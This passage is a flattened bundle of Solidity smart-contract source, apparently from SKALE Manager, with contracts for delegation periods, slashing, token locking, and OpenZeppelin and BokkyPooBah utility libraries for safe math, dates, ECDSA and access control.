UnderflowError(a, b); return 0; } } function boundedSubWithoutEvent(uint256 a, uint256 b) internal pure returns (uint256) { if (a >= b) { return a - b; } else { return 0; } } function muchGreater(uint256 a, uint256 b) internal pure returns (bool) { assert(uint(-1) - _EPS > b); return a > b + _EPS; } function approximatelyEqual(uint256 a, uint256 b) internal pure returns (bool) { if (a > b) { return a - b < _EPS; } else { return b - a < _EPS; } } } // SPDX-License-Identifier: AGPL-3.0-only /* DelegationPeriodManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../Permissions.sol"; /** * @title Delegation Period Manager * @dev This contract handles all delegation offerings. Delegations are held for * a specified period (months), and different durations can have different * returns or `stakeMultiplier`. Currently, only delegation periods can be added. */ contract DelegationPeriodManager is Permissions { mapping (uint => uint) public stakeMultipliers; /** * @dev Emitted when a new delegation period is specified. */ event DelegationPeriodWasSet( uint length, uint stakeMultiplier ); /** * @dev Allows the Owner to create a new available delegation period and * stake multiplier in the network. * * Emits a {DelegationPeriodWasSet} event. */ function setDelegationPeriod(uint monthsCount, uint stakeMultiplier) external onlyOwner { require(stakeMultipliers[monthsCount] == 0, "Delegation perios is already set"); stakeMultipliers[monthsCount] = stakeMultiplier; emit DelegationPeriodWasSet(monthsCount, stakeMultiplier); } /** * @dev Checks whether given delegation period is allowed. */ function isDelegationPeriodAllowed(uint monthsCount) external view returns (bool) { return stakeMultipliers[monthsCount] != 0; } /** * @dev Initial delegation period and multiplier settings. */ function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); stakeMultipliers[2] = 100; // 2 months at 100 // stakeMultipliers[6] = 150; // 6 months at 150 // stakeMultipliers[12] = 200; // 12 months at 200 } } // SPDX-License-Identifier: AGPL-3.0-only /* Punisher.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../Permissions.sol"; import "../interfaces/delegation/ILocker.sol"; import "./ValidatorService.sol"; import "./DelegationController.sol"; /** * @title Punisher * @dev This contract handles all slashing and forgiving operations. */ contract Punisher is Permissions, ILocker { // holder => tokens mapping (address => uint) private _locked; /** * @dev Emitted upon slashing condition. */ event Slash( uint validatorId, uint amount ); /** * @dev Emitted upon forgive condition. */ event Forgive( address wallet, uint amount ); /** * @dev Allows SkaleDKG contract to execute slashing on a validator and * validator's delegations by an `amount` of tokens. * * Emits a {Slash} event. * * Requirements: * * - Validator must exist. */ function slash(uint validatorId, uint amount) external allow("SkaleDKG") { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); require(validatorService.validatorExists(validatorId), "Validator does not exist"); delegationController.confiscate(validatorId, amount); emit Slash(validatorId, amount); } /** * @dev Allows the Admin to forgive a slashing condition. * * Emits a {Forgive} event. * * Requirements: * * - All slashes must have been processed. */ function forgive(address holder, uint amount) external onlyAdmin { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); require(!delegationController.hasUnprocessedSlashes(holder), "Not all slashes were calculated"); if (amount > _locked[holder]) { delete _locked[holder]; } else { _locked[holder] = _locked[holder].sub(amount); } emit Forgive(holder, amount); } /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}. */ function getAndUpdateForbiddenForDelegationAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev Allows DelegationController contract to execute slashing of * delegations. */ function handleSlash(address holder, uint amount) external allow("DelegationController") { _locked[holder] = _locked[holder].add(amount); } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); } // private /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function _getAndUpdateLockedAmount(address wallet) private returns (uint) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); delegationController.processAllSlashes(wallet); return _locked[wallet]; } } // SPDX-License-Identifier: AGPL-3.0-only /* TokenState.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../interfaces/delegation/ILocker.sol"; import "../Permissions.sol"; import "./DelegationController.sol"; import "./TimeHelpers.sol"; /** * @title Token State * @dev This contract manages lockers to control token transferability. * * The SKALE Network has three types of locked tokens: * * - Tokens that are transferrable but are currently locked into delegation with * a validator. * * - Tokens that are not transferable from one address to another, but may be * delegated to a validator `getAndUpdateLockedAmount`. This lock enforces * Proof-of-Use requirements. * * - Tokens that are neither transferable nor delegatable * `getAndUpdateForbiddenForDelegationAmount`. This lock enforces slashing. */ contract TokenState is Permissions, ILocker { string[] private _lockers; DelegationController private _delegationController; /** * @dev Emitted when a contract is added to the locker. */ event LockerWasAdded( string locker ); /** * @dev Emitted when a contract is removed from the locker. */ event LockerWasRemoved( string locker ); /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address holder) external override returns (uint) { if (address(_delegationController) == address(0)) { _delegationController = DelegationController(contractManager.getContract("DelegationController")); } uint locked = 0; if (_delegationController.getDelegationsByHolderLength(holder) > 0) { // the holder ever delegated for (uint i = 0; i < _lockers.length; ++i) { ILocker locker = ILocker(contractManager.getContract(_lockers[i])); locked = locked.add(locker.getAndUpdateLockedAmount(holder)); } } return locked; } /** * @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}. */ function getAndUpdateForbiddenForDelegationAmount(address holder) external override returns (uint amount) { uint forbidden = 0; for (uint i = 0; i < _lockers.length; ++i) { ILocker locker = ILocker(contractManager.getContract(_lockers[i])); forbidden = forbidden.add(locker.getAndUpdateForbiddenForDelegationAmount(holder)); } return forbidden; } /** * @dev Allows the Owner to remove a contract from the locker. * * Emits a {LockerWasRemoved} event. */ function removeLocker(string calldata locker) external onlyOwner { uint index; bytes32 hash = keccak256(abi.encodePacked(locker)); for (index = 0; index < _lockers.length; ++index) { if (keccak256(abi.encodePacked(_lockers[index])) == hash) { break; } } if (index < _lockers.length) { if (index < _lockers.length.sub(1)) { _lockers[index] = _lockers[_lockers.length.sub(1)]; } delete _lockers[_lockers.length.sub(1)]; _lockers.pop(); emit LockerWasRemoved(locker); } } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); addLocker("DelegationController"); addLocker("Punisher"); } /** * @dev Allows the Owner to add a contract to the Locker. * * Emits a {LockerWasAdded} event. */ function addLocker(string memory locker) public onlyOwner { _lockers.push(locker); emit LockerWasAdded(locker); } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; // ---------------------------------------------------------------------------- // BokkyPooBah's DateTime Library v1.01 // // A gas-efficient Solidity date and time library // // https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary // // Tested date range 1970/01/01 to 2345/12/31 // // Conventions: // Unit | Range | Notes // :-------- |:-------------:|:----- // timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC // year | 1970 ... 2345 | // month | 1 ... 12 | // day | 1 ... 31 | // hour | 0 ... 23 | // minute | 0 ... 59 | // second | 0 ... 59 | // dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday // // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence. // ---------------------------------------------------------------------------- library BokkyPooBahsDateTimeLibrary { uint constant SECONDS_PER_DAY = 24 * 60 * 60; uint constant SECONDS_PER_HOUR = 60 * 60; uint constant SECONDS_PER_MINUTE = 60; int constant OFFSET19700101 = 2440588; uint constant DOW_MON = 1; uint constant DOW_TUE = 2; uint constant DOW_WED = 3; uint constant DOW_THU = 4; uint constant DOW_FRI = 5; uint constant DOW_SAT = 6; uint constant DOW_SUN = 7; // ------------------------------------------------------------------------ // Calculate the number of days from 1970/01/01 to year/month/day using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and subtracting the offset 2440588 so that 1970/01/01 is day 0 // // days = day // - 32075 // + 1461 * (year + 4800 + (month - 14) / 12) / 4 // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12 // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4 // - offset // ------------------------------------------------------------------------ function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) { require(year >= 1970); int _year = int(year); int _month = int(month); int _day = int(day); int __days = _day - 32075 + 1461 * (_year + 4800 + (_month - 14) / 12) / 4 + 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12 - 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4 - OFFSET19700101; _days = uint(__days); } // ------------------------------------------------------------------------ // Calculate year/month/day from the number of days since 1970/01/01 using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and adding the offset 2440588 so that 1970/01/01 is day 0 // // int L = days + 68569 + offset // int N = 4 * L / 146097 // L = L - (146097 * N + 3) / 4 // year = 4000 * (L + 1) / 1461001 // L = L - 1461 * year / 4 + 31 // month = 80 * L / 2447 // dd = L - 2447 * month / 80 // L = month / 11 // month = month + 2 - 12 * L // year = 100 * (N - 49) + year + L // ------------------------------------------------------------------------ function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) { int __days = int(_days); int L = __days + 68569 + OFFSET19700101; int N = 4 * L / 146097; L = L - (146097 * N + 3) / 4; int _year = 4000 * (L + 1) / 1461001; L = L - 1461 * _year / 4 + 31; int _month = 80 * L / 2447; int _day = L - 2447 * _month / 80; L = _month / 11; _month = _month + 2 - 12 * L; _year = 100 * (N - 49) + _year + L; year = uint(_year); month = uint(_month); day = uint(_day); } function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY; } function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second; } function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; secs = secs % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; second = secs % SECONDS_PER_MINUTE; } function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) { if (year >= 1970 && month > 0 && month <= 12) { uint daysInMonth = _getDaysInMonth(year, month); if (day > 0 && day <= daysInMonth) { valid = true; } } } function isValidDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (bool valid) { if (isValidDate(year, month, day)) { if (hour < 24 && minute < 60 && second < 60) { valid = true; } } } function isLeapYear(uint timestamp) internal pure returns (bool leapYear) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); leapYear = _isLeapYear(year); } function _isLeapYear(uint year) internal pure returns (bool leapYear) { leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0); } function isWeekDay(uint timestamp) internal pure returns (bool weekDay) { weekDay = getDayOfWeek(timestamp) <= DOW_FRI; } function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) { weekEnd = getDayOfWeek(timestamp) >= DOW_SAT; } function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); daysInMonth = _getDaysInMonth(year, month); } function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { daysInMonth = 31; } else if (month != 2) { daysInMonth = 30; } else { daysInMonth = _isLeapYear(year) ? 29 : 28; } } // 1 = Monday, 7 = Sunday function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) { uint _days = timestamp / SECONDS_PER_DAY; dayOfWeek = (_days + 3) % 7 + 1; } function getYear(uint timestamp) internal pure returns (uint year) { uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getMonth(uint timestamp) internal pure returns (uint month) { uint year; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getDay(uint timestamp) internal pure returns (uint day) { uint year; uint month; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getHour(uint timestamp) internal pure returns (uint hour) { uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; } function getMinute(uint timestamp) internal pure returns (uint minute) { uint secs = timestamp % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; } function getSecond(uint timestamp) internal pure returns (uint second) { second = timestamp % SECONDS_PER_MINUTE; } function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); year += _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); month += _months; year += (month - 1) / 12; month = (month - 1) % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _days * SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _hours * SECONDS_PER_HOUR; require(newTimestamp >= timestamp); } function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE; require(newTimestamp >= timestamp); } function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _seconds; require(newTimestamp >= timestamp); } function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); year -= _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint yearMonth = year * 12 + (month - 1) - _months; year = yearMonth / 12; month = yearMonth % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _days * SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _hours * SECONDS_PER_HOUR; require(newTimestamp <= timestamp); } function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE; require(newTimestamp <= timestamp); } function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _seconds; require(newTimestamp <= timestamp); } function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) { require(fromTimestamp <= toTimestamp); uint fromYear; uint fromMonth; uint fromDay; uint toYear; uint toMonth; uint toDay; (fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _years = toYear - fromYear; } function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) { require(fromTimestamp <= toTimestamp); uint fromYear; uint fromMonth; uint fromDay; uint toYear; uint toMonth; uint toDay; (fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth; } function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) { require(fromTimestamp <= toTimestamp); _days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY; } function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) { require(fromTimestamp <= toTimestamp); _hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR; } function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) { require(fromTimestamp <= toTimestamp); _minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE; } function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) { require(fromTimestamp <= toTimestamp); _seconds = toTimestamp - fromTimestamp; } } pragma solidity ^0.6.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } pragma solidity ^0.6.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../GSN/Context.sol"; import "../Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, _msgSender())); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. */ abstract contract AccessControlUpgradeSafe is Initializable, ContextUpgradeSafe { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: AGPL-3.0-only /* ContractManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see 